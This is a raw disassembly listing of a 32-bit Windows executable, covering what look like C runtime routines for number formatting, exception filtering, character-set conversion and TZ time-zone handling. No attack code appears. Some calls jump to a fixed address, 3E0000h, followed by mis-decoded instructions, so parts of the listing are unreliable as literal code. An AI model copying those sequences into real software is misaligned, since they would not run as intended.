; =============== S U B R O U T I N E =======================================
sub_4186FC proc near ; CODE XREF: sub_418728+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_42EB10
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_418590
add esp, 0Ch
retn
sub_4186FC endp
; =============== S U B R O U T I N E =======================================
sub_418712 proc near ; CODE XREF: sub_418755+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_42EB28
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_418590
add esp, 0Ch
retn
sub_418712 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418728 proc near ; CODE XREF: sub_414A2B+12p
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4198E0
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_4186FC
add esp, 24h
leave
retn
sub_418728 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418755 proc near ; CODE XREF: sub_414A2B+2Dp
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4198E0
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_418712
add esp, 24h
leave
retn
sub_418755 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418782 proc near ; CODE XREF: sub_414A69+65p
; sub_414B6D+63p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov ecx, [edx+0Ch]
push edi
lea edi, [esi+1]
mov byte ptr [esi], 30h
test ebx, ebx
mov eax, edi
jle short loc_4187BF
mov [ebp+arg_0], ebx
xor ebx, ebx
loc_4187A5: ; CODE XREF: sub_418782+38j
mov dl, [ecx]
test dl, dl
jz short loc_4187B1
movsx edx, dl
inc ecx
jmp short loc_4187B4
; ---------------------------------------------------------------------------
loc_4187B1: ; CODE XREF: sub_418782+27j
push 30h
pop edx
loc_4187B4: ; CODE XREF: sub_418782+2Dj
mov [eax], dl
inc eax
dec [ebp+arg_0]
jnz short loc_4187A5
mov edx, [ebp+arg_8]
loc_4187BF: ; CODE XREF: sub_418782+1Cj
and byte ptr [eax], 0
test ebx, ebx
jl short loc_4187D8
cmp byte ptr [ecx], 35h
jl short loc_4187D8
loc_4187CB: ; CODE XREF: sub_418782+52j
dec eax
cmp byte ptr [eax], 39h
jnz short loc_4187D6
mov byte ptr [eax], 30h
jmp short loc_4187CB
; ---------------------------------------------------------------------------
loc_4187D6: ; CODE XREF: sub_418782+4Dj
inc byte ptr [eax]
loc_4187D8: ; CODE XREF: sub_418782+42j
; sub_418782+47j
cmp byte ptr [esi], 31h
jnz short loc_4187E2
inc dword ptr [edx+4]
jmp short loc_4187F4
; ---------------------------------------------------------------------------
loc_4187E2: ; CODE XREF: sub_418782+59j
push edi
call sub_410B60
inc eax
push eax
push edi
push esi
call sub_4112D0
add esp, 10h
loc_4187F4: ; CODE XREF: sub_418782+5Ej
pop edi
pop esi
pop ebx
pop ebp
retn
sub_418782 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4187F9 proc near ; CODE XREF: sub_414A69+3Fp
; sub_414B6D+46p ...
var_C = byte ptr -0Ch
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
lea eax, [ebp+arg_0]
push edi
push eax
lea eax, [ebp+var_C]
push eax
call sub_41885D
pop ecx
lea esi, [ebp+var_C]
pop ecx
push offset word_45FA10
push 0
push 11h
sub esp, 0Ch
mov edi, esp
movsd
movsd
movsw
call sub_419DB1
mov ds:dword_45FA38, eax
add esp, 18h
movsx eax, ds:byte_45FA12
mov ds:dword_45FA30, eax
pop edi
movsx eax, ds:word_45FA10
mov ds:dword_45FA34, eax
mov ds:dword_45FA3C, offset dword_45FA14
mov eax, offset dword_45FA30
pop esi
leave
retn
sub_4187F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41885D proc near ; CODE XREF: sub_4187F9+10p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_4]
push ebx
push esi
push edi
mov ax, [edx+6]
mov edi, 7FFh
mov ecx, eax
and eax, 8000h
shr ecx, 4
and ecx, edi
mov [ebp+arg_4], eax
mov eax, [edx+4]
mov edx, [edx]
movzx ebx, cx
mov esi, 80000000h
and eax, 0FFFFFh
test ebx, ebx
mov [ebp+var_4], esi
jz short loc_4188AB
cmp ebx, edi
jz short loc_4188A4
lea edi, [ecx+3C00h]
jmp short loc_4188CC
; ---------------------------------------------------------------------------
loc_4188A4: ; CODE XREF: sub_41885D+3Dj
mov edi, 7FFFh
jmp short loc_4188CC
; ---------------------------------------------------------------------------
loc_4188AB: ; CODE XREF: sub_41885D+39j
xor ebx, ebx
cmp eax, ebx
jnz short loc_4188C3
cmp edx, ebx
jnz short loc_4188C3
mov eax, [ebp+arg_0]
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], bx
jmp short loc_41890E
; ---------------------------------------------------------------------------
loc_4188C3: ; CODE XREF: sub_41885D+52j
; sub_41885D+56j
lea edi, [ecx+3C01h]
mov [ebp+var_4], ebx
loc_4188CC: ; CODE XREF: sub_41885D+45j
; sub_41885D+4Cj
mov ecx, edx
shr ecx, 15h
shl eax, 0Bh
or ecx, eax
mov eax, [ebp+arg_0]
or ecx, [ebp+var_4]
shl edx, 0Bh
mov [eax+4], ecx
mov [eax], edx
loc_4188E4: ; CODE XREF: sub_41885D+A6j
test ecx, esi
jnz short loc_418905
mov edx, [eax]
add ecx, ecx
mov ebx, edx
shr ebx, 1Fh
or ebx, ecx
lea ecx, [edx+edx]
mov [eax], ecx
mov [eax+4], ebx
add edi, 0FFFFh
mov ecx, ebx
jmp short loc_4188E4
; ---------------------------------------------------------------------------
loc_418905: ; CODE XREF: sub_41885D+89j
mov ecx, [ebp+arg_4]
or ecx, edi
mov [eax+8], cx
loc_41890E: ; CODE XREF: sub_41885D+64j
pop edi
pop esi
pop ebx
leave
retn
sub_41885D endp
; ---------------------------------------------------------------------------
push 2
call sub_412ADE
pop ecx
retn
; =============== S U B R O U T I N E =======================================
sub_41891C proc near ; DATA XREF: seg000:loc_418962o
; seg002:0042E4E0o ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_41893F
cmp dword ptr [eax+10h], 3
jnz short loc_41893F
cmp dword ptr [eax+14h], 19930520h
jnz short loc_41893F
jmp sub_4155EC
; ---------------------------------------------------------------------------
loc_41893F: ; CODE XREF: sub_41891C+Dj
; sub_41891C+13j ...
mov eax, ds:dword_45FA40
test eax, eax
jz short loc_41895C
push eax
call sub_4189B8 ; CODE XREF: sub_4189B8+Dj
test eax, eax
pop ecx
jz short loc_41895C
push esi
call ds:dword_45FA40
jmp short loc_41895E
; ---------------------------------------------------------------------------
loc_41895C: ; CODE XREF: sub_41891C+2Aj
; sub_41891C+35j
xor eax, eax
loc_41895E: ; CODE XREF: sub_41891C+3Ej
pop esi
retn 4
sub_41891C endp
; ---------------------------------------------------------------------------
loc_418962: ; DATA XREF: seg002:0041E020o
push offset sub_41891C
call ds:dword_41C024 ; SetUnhandledExceptionFilter
mov ds:dword_45FA40, eax
retn
; ---------------------------------------------------------------------------
loc_418973: ; DATA XREF: seg002:0041E038o
push ds:dword_45FA40
call ds:dword_41C024 ; SetUnhandledExceptionFilter
retn
; =============== S U B R O U T I N E =======================================
sub_418980 proc near ; CODE XREF: sub_414E41+6Bp
; sub_415352+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call near ptr 3E0000h
pop ss
test eax, eax
jz short loc_418998
xor esi, esi
loc_418998: ; CODE XREF: sub_418980+14j
mov eax, esi
pop esi
retn
sub_418980 endp
; =============== S U B R O U T I N E =======================================
sub_41899C proc near ; CODE XREF: sub_415352+73p
; sub_415352+BFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call near ptr 3E0000h
sahf
test eax, eax
jz short loc_4189B4
xor esi, esi
loc_4189B4: ; CODE XREF: sub_41899C+14j
mov eax, esi
pop esi
retn
sub_41899C endp
; =============== S U B R O U T I N E =======================================
sub_4189B8 proc near ; CODE XREF: sub_415352+15Bp
; sub_41891C+2Dp
arg_0 = dword ptr 4
push esi
push 1
pop esi
push [esp+4+arg_0]
call near ptr 3E0000h
jecxz short near ptr loc_418949+3
sal byte ptr [edx+eax+33h], 0F6h
mov eax, esi
pop esi
retn
sub_4189B8 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4155EC
loc_4189D0: ; CODE XREF: sub_4155EC:loc_41563Dj
push 0Ah
call near ptr sub_417C59
push 16h
call sub_41A044
pop ecx
pop ecx
push 3
call sub_4125D8
; END OF FUNCTION CHUNK FOR sub_4155EC
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4189E7 proc near ; CODE XREF: sub_41578D+6A3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
cmp esi, ebx
jz short loc_418A0A
cmp [ebp+arg_8], ebx
jz short loc_418A0A
mov al, [esi]
cmp al, bl
jnz short loc_418A10
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_418A0A
mov [eax], bx
loc_418A0A: ; CODE XREF: sub_4189E7+Cj
; sub_4189E7+11j ...
xor eax, eax
loc_418A0C: ; CODE XREF: sub_4189E7+42j
; sub_4189E7+86j ...
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_418A10: ; CODE XREF: sub_4189E7+17j
cmp ds:dword_45F8D0, ebx
jnz short loc_418A2B
mov ecx, [ebp+arg_0]
cmp ecx, ebx
jz short loc_418A26
movzx ax, al
mov [ecx], ax
loc_418A26: ; CODE XREF: sub_4189E7+36j
; sub_4189E7+C0j
push 1
pop eax
jmp short loc_418A0C
; ---------------------------------------------------------------------------
loc_418A2B: ; CODE XREF: sub_4189E7+2Fj
mov ecx, ds:off_42E190
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_418A88
mov eax, ds:dword_42E39C
cmp eax, 1
jle short loc_418A6F
cmp [ebp+arg_8], eax
jl short loc_418A79
xor ecx, ecx
cmp [ebp+arg_0], ebx
setnz cl
push ecx
push [ebp+arg_0]
push eax
push esi
push 9
push ds:dword_45F8E0
call ds:dword_41C120 ; MultiByteToWideChar
test eax, eax
mov eax, ds:dword_42E39C
jnz short loc_418A0C
loc_418A6F: ; CODE XREF: sub_4189E7+5Cj
cmp [ebp+arg_8], eax
jb short loc_418A79
cmp [esi+1], bl
jnz short loc_418A0C
loc_418A79: ; CODE XREF: sub_4189E7+61j
; sub_4189E7+8Bj ...
mov ds:dword_45F844, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_418A0C
; ---------------------------------------------------------------------------
loc_418A88: ; CODE XREF: sub_4189E7+52j
xor eax, eax
cmp [ebp+arg_0], ebx
setnz al
push eax
push [ebp+arg_0]
push 1
push esi
push 9
push ds:dword_45F8E0
call ds:dword_41C120 ; MultiByteToWideChar
test eax, eax
jnz loc_418A26
jmp short loc_418A79
sub_4189E7 endp
; =============== S U B R O U T I N E =======================================
sub_418AAF proc near ; CODE XREF: sub_41578D+76p
; sub_41578D+88p ...
arg_0 = dword ptr 4
cmp ds:dword_42E39C, 1
jle short loc_418AC6
push 8
push [esp+4+arg_0]
call sub_413446
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_418AC6: ; CODE XREF: sub_418AAF+7j
mov eax, [esp+arg_0]
mov ecx, ds:off_42E190
mov al, [ecx+eax*2]
and eax, 8
retn
sub_418AAF endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_418AE0 proc near ; CODE XREF: sub_41578D+797p
; sub_41578D+7E7p
cmp cl, 40h
jnb short loc_418AFA
cmp cl, 20h
jnb short loc_418AF0
shld edx, eax, cl
shl eax, cl
retn
; ---------------------------------------------------------------------------
loc_418AF0: ; CODE XREF: sub_418AE0+8j
mov edx, eax
xor eax, eax
and cl, 1Fh
shl edx, cl
retn
; ---------------------------------------------------------------------------
loc_418AFA: ; CODE XREF: sub_418AE0+3j
xor eax, eax
xor edx, edx
retn
sub_418AE0 endp
; =============== S U B R O U T I N E =======================================
sub_418AFF proc near ; CODE XREF: sub_416203+Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, 0FFFFFFFFh
push esi
jz short loc_418B4B
mov esi, [esp+8+arg_4]
mov eax, [esi+0Ch]
test al, 1
jnz short loc_418B1D
test al, 80h
jz short loc_418B4B
test al, 2
jnz short loc_418B4B
loc_418B1D: ; CODE XREF: sub_418AFF+14j
cmp dword ptr [esi+8], 0
jnz short loc_418B2A
push esi
call sub_417F59
pop ecx
loc_418B2A: ; CODE XREF: sub_418AFF+22j
mov eax, [esi]
cmp eax, [esi+8]
jnz short loc_418B3A
cmp dword ptr [esi+4], 0
jnz short loc_418B4B
inc eax
mov [esi], eax
loc_418B3A: ; CODE XREF: sub_418AFF+30j
test byte ptr [esi+0Ch], 40h
jz short loc_418B51
dec dword ptr [esi]
mov eax, [esi]
cmp [eax], bl
jz short loc_418B57
inc eax
mov [esi], eax
loc_418B4B: ; CODE XREF: sub_418AFF+9j
; sub_418AFF+18j ...
or eax, 0FFFFFFFFh
loc_418B4E: ; CODE XREF: sub_418AFF+6Cj
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_418B51: ; CODE XREF: sub_418AFF+3Fj
dec dword ptr [esi]
mov eax, [esi]
mov [eax], bl
loc_418B57: ; CODE XREF: sub_418AFF+47j
mov eax, [esi+0Ch]
inc dword ptr [esi+4]
and al, 0EFh
or al, 1
mov [esi+0Ch], eax
mov eax, ebx
and eax, 0FFh
jmp short loc_418B4E
sub_418AFF endp
; =============== S U B R O U T I N E =======================================
sub_418B6D proc near ; CODE XREF: sub_41623E:loc_41627Dp
cmp ds:dword_45FB00, 0
jnz short locret_418B81
call loc_418B82
inc ds:dword_45FB00
locret_418B81: ; CODE XREF: sub_418B6D+7j
retn
sub_418B6D endp
; ---------------------------------------------------------------------------
loc_418B82: ; CODE XREF: sub_418B6D+9p
push ecx
push ebx
push ebp
push esi
push edi
xor ebp, ebp
or ebx, 0FFFFFFFFh
push offset aTz ; "TZ"
xor edi, edi
mov ds:dword_45FA48, ebp
mov ds:dword_42EBE8, ebx
mov ds:dword_42EBD8, ebx
call sub_41A1B6
mov esi, eax
pop ecx
cmp esi, ebp
jnz loc_418CAB
push offset dword_45FA50
call near ptr 3E0000h
; ---------------------------------------------------------------------------
db 8Eh
; ---------------------------------------------------------------------------
cmp eax, ebx
jz loc_418DDA
mov eax, ds:dword_45FA50
mov ecx, ds:dword_45FAA4
imul eax, 3Ch
cmp ds:word_45FA96, bp
push 1
pop edx
mov ds:dword_42EB40, eax
mov ds:dword_45FA48, edx
jz short loc_418BF9
mov esi, ecx
imul esi, 3Ch
add eax, esi
mov ds:dword_42EB40, eax
loc_418BF9: ; CODE XREF: seg000:00418BEBj
cmp ds:word_45FAEA, bp
jz short loc_418C1D
mov eax, ds:dword_45FAF8
cmp eax, ebp
jz short loc_418C1D
sub eax, ecx
mov ds:dword_42EB44, edx
imul eax, 3Ch
mov ds:dword_42EB48, eax
jmp short loc_418C29
; ---------------------------------------------------------------------------
loc_418C1D: ; CODE XREF: seg000:00418C00j
; seg000:00418C09j
mov ds:dword_42EB44, ebp
mov ds:dword_42EB48, ebp
loc_418C29: ; CODE XREF: seg000:00418C1Bj
lea eax, [esp+10h]
mov esi, ds:dword_41C11C
push eax
push ebp
push 3Fh
mov edi, 220h
push ds:off_42EBCC
push ebx
push offset dword_45FA54
push edi
push ds:dword_45F8E0
call esi ; WideCharToMultiByte
test eax, eax
jz short loc_418C66
cmp [esp+10h], ebp
jnz short loc_418C66
mov eax, ds:off_42EBCC
and byte ptr [eax+3Fh], 0
jmp short loc_418C6E
; ---------------------------------------------------------------------------
loc_418C66: ; CODE XREF: seg000:00418C53j
; seg000:00418C59j
mov eax, ds:off_42EBCC
and byte ptr [eax], 0
loc_418C6E: ; CODE XREF: seg000:00418C64j
lea eax, [esp+10h]
push eax
push ebp
push 3Fh
push ds:off_42EBD0
push ebx
push offset dword_45FAA8
push edi
push ds:dword_45F8E0
call esi ; WideCharToMultiByte
test eax, eax
jz loc_418DD2
cmp [esp+10h], ebp
jnz loc_418DD2
mov eax, ds:off_42EBD0
and byte ptr [eax+3Fh], 0
jmp loc_418DDA
; ---------------------------------------------------------------------------
loc_418CAB: ; CODE XREF: seg000:00418BAFj
cmp byte ptr [esi], 0
jz loc_418DDA
mov eax, ds:dword_45FAFC
cmp eax, ebp
jz short loc_418CCE
push eax
push esi
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_418DDA
loc_418CCE: ; CODE XREF: seg000:00418CBBj
push ds:dword_45FAFC
call sub_410C83
push esi
call sub_410B60
inc eax
push eax
call sub_410C0F
add esp, 0Ch
cmp eax, ebp
mov ds:dword_45FAFC, eax
jz loc_418DDA
push esi
push eax
call sub_411B70
push 3
push esi
push ds:off_42EBCC
call sub_411D00
mov eax, ds:off_42EBCC
add esi, 3
add esp, 14h
and byte ptr [eax+3], 0
cmp byte ptr [esi], 2Dh
jnz short loc_418D23
push 1
inc esi
pop edi
loc_418D23: ; CODE XREF: seg000:00418D1Dj
push esi
call sub_4109F4
pop ecx
mov bl, 30h
mov ecx, eax
imul ecx, 0E10h
mov ds:dword_42EB40, ecx
loc_418D3A: ; CODE XREF: seg000:00418D49j
mov al, [esi]
cmp al, 2Bh
jz short loc_418D48
cmp al, bl
jl short loc_418D4B
cmp al, 39h
jg short loc_418D4B
loc_418D48: ; CODE XREF: seg000:00418D3Ej
inc esi
jmp short loc_418D3A
; ---------------------------------------------------------------------------
loc_418D4B: ; CODE XREF: seg000:00418D42j
; seg000:00418D46j
cmp byte ptr [esi], 3Ah
jnz short loc_418D9E
inc esi
push esi
call sub_4109F4
imul eax, 3Ch
pop ecx
mov ecx, ds:dword_42EB40
add ecx, eax
mov ds:dword_42EB40, ecx
loc_418D69: ; CODE XREF: seg000:00418D74j
mov al, [esi]
cmp al, bl
jl short loc_418D76
cmp al, 39h
jg short loc_418D76
inc esi
jmp short loc_418D69
; ---------------------------------------------------------------------------
loc_418D76: ; CODE XREF: seg000:00418D6Dj
; seg000:00418D71j
cmp byte ptr [esi], 3Ah
jnz short loc_418D9E
inc esi
push esi
call sub_4109F4
pop ecx
mov ecx, ds:dword_42EB40
add ecx, eax
mov ds:dword_42EB40, ecx
loc_418D91: ; CODE XREF: seg000:00418D9Cj
mov al, [esi]
cmp al, bl
jl short loc_418D9E
cmp al, 39h
jg short loc_418D9E
inc esi
jmp short loc_418D91
; ---------------------------------------------------------------------------
loc_418D9E: ; CODE XREF: seg000:00418D4Ej
; seg000:00418D79j ...
cmp edi, ebp
jz short loc_418DAA
neg ecx
mov ds:dword_42EB40, ecx
loc_418DAA: ; CODE XREF: seg000:00418DA0j
movsx eax, byte ptr [esi]
cmp eax, ebp
mov ds:dword_42EB44, eax
jz short loc_418DD2
push 3
push esi
push ds:off_42EBD0
call sub_411D00
mov eax, ds:off_42EBD0
add esp, 0Ch
and byte ptr [eax+3], 0
jmp short loc_418DDA
; ---------------------------------------------------------------------------
loc_418DD2: ; CODE XREF: seg000:00418C8Dj
; seg000:00418C97j ...
mov eax, ds:off_42EBD0
and byte ptr [eax], 0
loc_418DDA: ; CODE XREF: seg000:00418BC2j
; seg000:00418CA6j ...
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; =============== S U B R O U T I N E =======================================
sub_418DE0 proc near ; CODE XREF: sub_41623E+A5p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor edi, edi
cmp ds:dword_42EB44, edi
jnz short loc_418DF4
loc_418DED: ; CODE XREF: sub_418DE0+148j
; sub_418DE0+150j ...
xor eax, eax
jmp loc_418F40
; ---------------------------------------------------------------------------
loc_418DF4: ; CODE XREF: sub_418DE0+Bj
mov esi, [esp+0Ch+arg_0]
push 1
pop ebx
mov eax, [esi+14h]
cmp eax, ds:dword_42EBD8
jnz short loc_418E12
cmp eax, ds:dword_42EBE8
jz loc_418F14
loc_418E12: ; CODE XREF: sub_418DE0+24j
cmp ds:dword_45FA48, edi
jz loc_418EEA
movzx ecx, ds:word_45FAF6
push ecx
cmp ds:word_45FAE8, di
movzx ecx, ds:word_45FAF4
push ecx
movzx ecx, ds:word_45FAF2
push ecx
movzx ecx, ds:word_45FAF0
push ecx
jnz short loc_418E64
movzx ecx, ds:word_45FAEC
push edi
push ecx
movzx ecx, ds:word_45FAEE
push ecx
movzx ecx, ds:word_45FAEA
push ecx
push eax
push ebx
jmp short loc_418E78
; ---------------------------------------------------------------------------
loc_418E64: ; CODE XREF: sub_418DE0+65j
movzx ecx, ds:word_45FAEE
push ecx
push edi
movzx ecx, ds:word_45FAEA
push edi
push ecx
push eax
push edi
loc_418E78: ; CODE XREF: sub_418DE0+82j
push ebx
call sub_418F8C
movzx eax, ds:word_45FAA2
add esp, 2Ch
cmp ds:word_45FA94, di
push eax
movzx eax, ds:word_45FAA0
push eax
movzx eax, ds:word_45FA9E
push eax
movzx eax, ds:word_45FA9C
push eax
jnz short loc_418ED2
movzx eax, ds:word_45FA98
push edi
push eax
movzx eax, ds:word_45FA9A
push eax
movzx eax, ds:word_45FA96
push eax
push dword ptr [esi+14h]
push ebx
loc_418EC7: ; CODE XREF: sub_418DE0+108j
push edi
call sub_418F8C
add esp, 2Ch
jmp short loc_418F14
; ---------------------------------------------------------------------------
loc_418ED2: ; CODE XREF: sub_418DE0+C8j
movzx eax, ds:word_45FA9A
push eax
push edi
movzx eax, ds:word_45FA96
push edi
push eax
push dword ptr [esi+14h]
push edi
jmp short loc_418EC7
; ---------------------------------------------------------------------------
loc_418EEA: ; CODE XREF: sub_418DE0+38j
push edi
push edi
push edi
push 2
push edi
push edi
push ebx
push 4
push eax
push ebx
push ebx
call sub_418F8C
push edi
push edi
push edi
push 2
push edi
push edi
push 5
push 0Ah
push dword ptr [esi+14h]
push ebx
push edi
call sub_418F8C
add esp, 58h
loc_418F14: ; CODE XREF: sub_418DE0+2Cj
; sub_418DE0+F0j
mov edx, ds:dword_42EBDC
mov eax, ds:dword_42EBEC
mov ecx, [esi+1Ch]
cmp edx, eax
jge short loc_418F44
cmp ecx, edx
jl loc_418DED
cmp ecx, eax
jg loc_418DED
cmp ecx, edx
jle short loc_418F58
cmp ecx, eax
jge short loc_418F58
loc_418F3E: ; CODE XREF: sub_418DE0+166j
; sub_418DE0+16Aj
mov eax, ebx
loc_418F40: ; CODE XREF: sub_418DE0+Fj
; sub_418DE0+19Dj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_418F44: ; CODE XREF: sub_418DE0+144j
cmp ecx, eax
jl short loc_418F3E
cmp ecx, edx
jg short loc_418F3E
cmp ecx, eax
jle short loc_418F58
cmp ecx, edx
jl loc_418DED
loc_418F58: ; CODE XREF: sub_418DE0+158j
; sub_418DE0+15Cj ...
mov eax, [esi+8]
imul eax, 3Ch
add eax, [esi+4]
imul eax, 3Ch
add eax, [esi]
imul eax, 3E8h
cmp ecx, edx
jnz short loc_418F7F
xor ecx, ecx
cmp eax, ds:dword_42EBE0
setnl cl
loc_418F7B: ; CODE XREF: sub_418DE0+1AAj
mov eax, ecx
jmp short loc_418F40
; ---------------------------------------------------------------------------
loc_418F7F: ; CODE XREF: sub_418DE0+18Ej
xor ecx, ecx
cmp eax, ds:dword_42EBF0
setl cl
jmp short loc_418F7B
sub_418DE0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418F8C proc near ; CODE XREF: sub_418DE0+99p
; sub_418DE0+E8p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 1
push ebx
mov ebx, [ebp+arg_8]
push esi
jnz loc_419027
mov eax, [ebp+arg_C]
mov [ebp+arg_8], ebx
and [ebp+arg_8], 3
mov esi, eax
jnz short loc_418FB7
shl esi, 2
mov eax, ds:dword_42EBF0[esi]
jmp short loc_418FC0
; ---------------------------------------------------------------------------
loc_418FB7: ; CODE XREF: sub_418F8C+1Ej
shl esi, 2
mov eax, ds:dword_42EC24[esi]
loc_418FC0: ; CODE XREF: sub_418F8C+29j
mov edx, ebx
lea ecx, [eax+1]
imul edx, 16Dh
lea eax, [ebx-1]
push edi
sar eax, 2
mov edi, ecx
push 7
add edi, eax
lea eax, [edx+edi-63DBh]
pop edi
cdq
idiv edi
mov eax, [ebp+arg_10]
pop edi
cmp edx, [ebp+arg_14]
jge short loc_418FFA
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
lea ecx, [ecx+eax-7]
jmp short loc_419004
; ---------------------------------------------------------------------------
loc_418FFA: ; CODE XREF: sub_418F8C+5Ej
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
add ecx, eax
loc_419004: ; CODE XREF: sub_418F8C+6Cj
cmp [ebp+arg_10], 5
jnz short loc_419042
cmp [ebp+arg_8], 0
jnz short loc_419018
mov esi, ds:dword_42EBF4[esi]
jmp short loc_41901E
; ---------------------------------------------------------------------------
loc_419018: ; CODE XREF: sub_418F8C+82j
mov esi, ds:dword_42EC28[esi]
loc_41901E: ; CODE XREF: sub_418F8C+8Aj
cmp ecx, esi
jle short loc_419042
sub ecx, 7
jmp short loc_419042
; ---------------------------------------------------------------------------
loc_419027: ; CODE XREF: sub_418F8C+Cj
mov eax, [ebp+arg_C]
test bl, 3
jnz short loc_419038
mov ecx, ds:dword_42EBF0[eax*4]
jmp short loc_41903F
; ---------------------------------------------------------------------------
loc_419038: ; CODE XREF: sub_418F8C+A1j
mov ecx, ds:dword_42EC24[eax*4]
loc_41903F: ; CODE XREF: sub_418F8C+AAj
add ecx, [ebp+arg_18]
loc_419042: ; CODE XREF: sub_418F8C+7Cj
; sub_418F8C+94j ...
cmp [ebp+arg_0], 1
jnz short loc_419073
mov eax, [ebp+arg_1C]
mov ds:dword_42EBDC, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
mov ds:dword_42EBD8, ebx
imul eax, 3Ch
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov ds:dword_42EBE0, eax
jmp short loc_4190C8
; ---------------------------------------------------------------------------
loc_419073: ; CODE XREF: sub_418F8C+BAj
mov eax, [ebp+arg_1C]
mov ds:dword_42EBEC, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
imul eax, 3Ch
add eax, ds:dword_42EB48
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov ds:dword_42EBF0, eax
jns short loc_4190AB
add eax, 5265C00h
dec ecx
mov ds:dword_42EBF0, eax
jmp short loc_4190BC
; ---------------------------------------------------------------------------
loc_4190AB: ; CODE XREF: sub_418F8C+110j
mov edx, 5265C00h
cmp eax, edx
jl short loc_4190C2
sub eax, edx
inc ecx
mov ds:dword_42EBF0, eax
loc_4190BC: ; CODE XREF: sub_418F8C+11Dj
mov ds:dword_42EBEC, ecx
loc_4190C2: ; CODE XREF: sub_418F8C+126j
mov ds:dword_42EBE8, ebx
loc_4190C8: ; CODE XREF: sub_418F8C+E5j
pop esi
pop ebx
pop ebp
retn
sub_418F8C endp
; =============== S U B R O U T I N E =======================================
sub_4190CC proc near ; CODE XREF: sub_4192E6:loc_41945Ep
push ebx
push esi
push edi
or ebx, 0FFFFFFFFh
xor edi, edi
xor esi, esi
mov ecx, offset dword_460B60
loc_4190DB: ; CODE XREF: sub_4190CC+48j
mov eax, [ecx]
test eax, eax
jz short loc_419118
lea edx, [eax+100h]
loc_4190E7: ; CODE XREF: sub_4190CC+28j
cmp eax, edx
jnb short loc_419107
test byte ptr [eax+4], 1
jz short loc_4190F6
add eax, 8
jmp short loc_4190E7
; ---------------------------------------------------------------------------
loc_4190F6: ; CODE XREF: sub_4190CC+23j
or dword ptr [eax], 0FFFFFFFFh
sub eax, [ecx]
sar eax, 3
add eax, esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_41915B
loc_419107: ; CODE XREF: sub_4190CC+1Dj
add ecx, 4
inc edi
add esi, 20h
cmp ecx, offset dword_460C60
jl short loc_4190DB
jmp short loc_41915B
; ---------------------------------------------------------------------------
loc_419118: ; CODE XREF: sub_4190CC+13j
mov esi, 100h
push esi
call sub_410C0F
test eax, eax
